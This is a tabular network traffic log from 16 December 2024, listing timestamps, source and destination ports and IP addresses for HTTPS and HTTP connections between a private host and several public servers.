Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 18:44:32.361018896 CET	49677	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:44:32.361020088 CET	49678	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:44:32.361020088 CET	49676	443	192.168.2.17	204.79.197.200
Dec 16, 2024 18:44:42.290477037 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:44:42.592042923 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:44:43.193056107 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:44:44.399032116 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:44:46.451558113 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:44:46.753056049 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:44:46.800261021 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:44:47.354079008 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:44:48.560070992 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:44:50.971048117 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:44:51.609064102 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:44:54.901492119 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:44:55.205101013 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:44:55.778134108 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:44:55.809181929 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:44:57.022212982 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:44:59.432097912 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:45:01.222083092 CET	49675	443	192.168.2.17	204.79.197.203
Dec 16, 2024 18:45:04.246129990 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:45:05.387231112 CET	49680	443	192.168.2.17	20.189.173.13
Dec 16, 2024 18:45:13.855179071 CET	49682	80	192.168.2.17	192.229.211.108
Dec 16, 2024 18:45:22.176779985 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:22.176815033 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:22.176879883 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:22.177742004 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:22.177807093 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:22.177870989 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:22.178426981 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:22.178445101 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:22.178775072 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:22.178795099 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.398715019 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.399112940 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.399123907 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.400854111 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.400928974 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.402512074 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.403100967 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.403117895 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.403337002 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.403424978 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.404170036 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.404238939 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.404639959 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.404648066 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.404959917 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.405019999 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.457173109 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.457216024 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.457233906 CET	443	49719	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.500312090 CET	49719	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.883723974 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.883966923 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.884008884 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.884027004 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.884048939 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.887871981 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.887877941 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.892116070 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.894201994 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.894207954 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.900480986 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.903167963 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.903175116 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:23.957195044 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:23.957209110 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:24.004183054 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:24.004523039 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:24.004681110 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:24.007160902 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:24.007673979 CET	49720	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:24.007687092 CET	443	49720	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:24.041316986 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:24.041332960 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:24.041528940 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:24.041656971 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:24.041662931 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:24.056549072 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:24.056641102 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:24.056735992 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:24.056895971 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:24.056931019 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:24.164798021 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:24.164850950 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:24.165014029 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:24.165164948 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:24.165179014 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:24.180269003 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:24.180285931 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:24.180356979 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:24.180527925 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:24.180538893 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:25.272852898 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.273122072 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.273147106 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.274996042 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.275064945 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.276103973 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.276205063 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.276268959 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.276274920 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.283459902 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.283726931 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.283751011 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.285445929 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.285518885 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.286556959 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.286642075 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.286725044 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.286731958 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.329184055 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.329245090 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.380712986 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.381019115 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.381047964 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.382169962 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.382249117 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.383357048 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.383430958 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.383500099 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.383510113 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.391078949 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:25.391308069 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:25.391333103 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:25.392440081 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:25.392512083 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:25.393404007 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:25.393481970 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:25.424305916 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.440186024 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:25.440198898 CET	443	49733	104.19.175.188	192.168.2.17
Dec 16, 2024 18:45:25.488280058 CET	49733	443	192.168.2.17	104.19.175.188
Dec 16, 2024 18:45:25.711812019 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.712080956 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.712169886 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.712249994 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.712276936 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.712327957 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.712337017 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.712398052 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.712446928 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.713701010 CET	49730	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.713713884 CET	443	49730	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.738584042 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.738950968 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.739043951 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.739043951 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.739087105 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.739137888 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.739151001 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.748784065 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.748852968 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.748867035 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.757476091 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.757514000 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.757553101 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.757570028 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.757631063 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.849755049 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.849900007 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.849973917 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.849996090 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.850142002 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.850215912 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.850781918 CET	49732	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:25.850800991 CET	443	49732	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:25.859747887 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.862828970 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.862931967 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.863085032 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.864051104 CET	49734	443	192.168.2.17	104.17.172.91
Dec 16, 2024 18:45:25.864088058 CET	443	49734	104.17.172.91	192.168.2.17
Dec 16, 2024 18:45:25.902260065 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.902308941 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.933979988 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.934047937 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.934058905 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.934077024 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.934127092 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.940469980 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.948769093 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.948832989 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.948842049 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.956903934 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.956968069 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.956978083 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.965056896 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.965118885 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.965128899 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.973237991 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.973298073 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.973310947 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.989489079 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.989553928 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.989564896 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.997721910 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.997777939 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.997791052 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.997802973 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:25.997844934 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:25.999630928 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:25.999671936 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:25.999767065 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:26.002291918 CET	49735	443	192.168.2.17	104.17.175.201
Dec 16, 2024 18:45:26.002310991 CET	443	49735	104.17.175.201	192.168.2.17
Dec 16, 2024 18:45:26.005894899 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.007630110 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:26.007659912 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:26.007740021 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:26.010050058 CET	49736	443	192.168.2.17	104.16.110.254
Dec 16, 2024 18:45:26.010067940 CET	443	49736	104.16.110.254	192.168.2.17
Dec 16, 2024 18:45:26.012512922 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.012567997 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.012578011 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.013051033 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:26.013148069 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:26.013252974 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:26.015355110 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:26.015367031 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:26.015428066 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:26.015671015 CET	49737	443	192.168.2.17	104.18.40.240
Dec 16, 2024 18:45:26.015722036 CET	443	49737	104.18.40.240	192.168.2.17
Dec 16, 2024 18:45:26.018273115 CET	49738	443	192.168.2.17	104.16.140.209
Dec 16, 2024 18:45:26.018286943 CET	443	49738	104.16.140.209	192.168.2.17
Dec 16, 2024 18:45:26.019112110 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.019170046 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.019179106 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.025759935 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.025842905 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.025852919 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.076235056 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.122215986 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.125575066 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.125749111 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.125767946 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.132080078 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.132150888 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.132164955 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.145263910 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.145333052 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.145347118 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.145411968 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.154457092 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.154465914 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.154536009 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.158849955 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.158857107 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.158937931 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.166934967 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.166941881 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.167032957 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.175231934 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.175239086 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.175302029 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.179613113 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.179681063 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.188076019 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.188159943 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.195996046 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.196084976 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.204292059 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.204387903 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.208511114 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.208584070 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.216685057 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.216763020 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.220944881 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.221020937 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.229290962 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.229379892 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.314342022 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.314451933 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.316770077 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.316857100 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.324012041 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.324096918 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.331060886 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.331146955 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.334319115 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.334391117 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.340799093 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.340894938 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.340914965 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.343987942 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.344048023 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.344055891 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.344105005 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.350080013 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.350229025 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.355842113 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.355926991 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.361546040 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.361653090 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.364378929 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.364460945 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.370008945 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.370112896 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.373225927 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.373333931 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.375027895 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.375096083 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.378251076 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.378321886 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.381613970 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.381691933 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.383364916 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.383461952 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.386734962 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.386810064 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.390021086 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.390094042 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.393481016 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.393574953 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.395153999 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.395221949 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.398391962 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.398477077 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.434272051 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.434350967 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.436718941 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.436789036 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.439977884 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.440052032 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.443388939 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.443461895 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.511116982 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.511132002 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.511217117 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.511245966 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.511276007 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.511306047 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.511342049 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.520766973 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.520788908 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.520869017 CET	49731	443	192.168.2.17	104.18.142.119
Dec 16, 2024 18:45:26.520884991 CET	443	49731	104.18.142.119	192.168.2.17
Dec 16, 2024 18:45:26.520935059 CET	49731	443	192.168.2.17	104.18.142.119
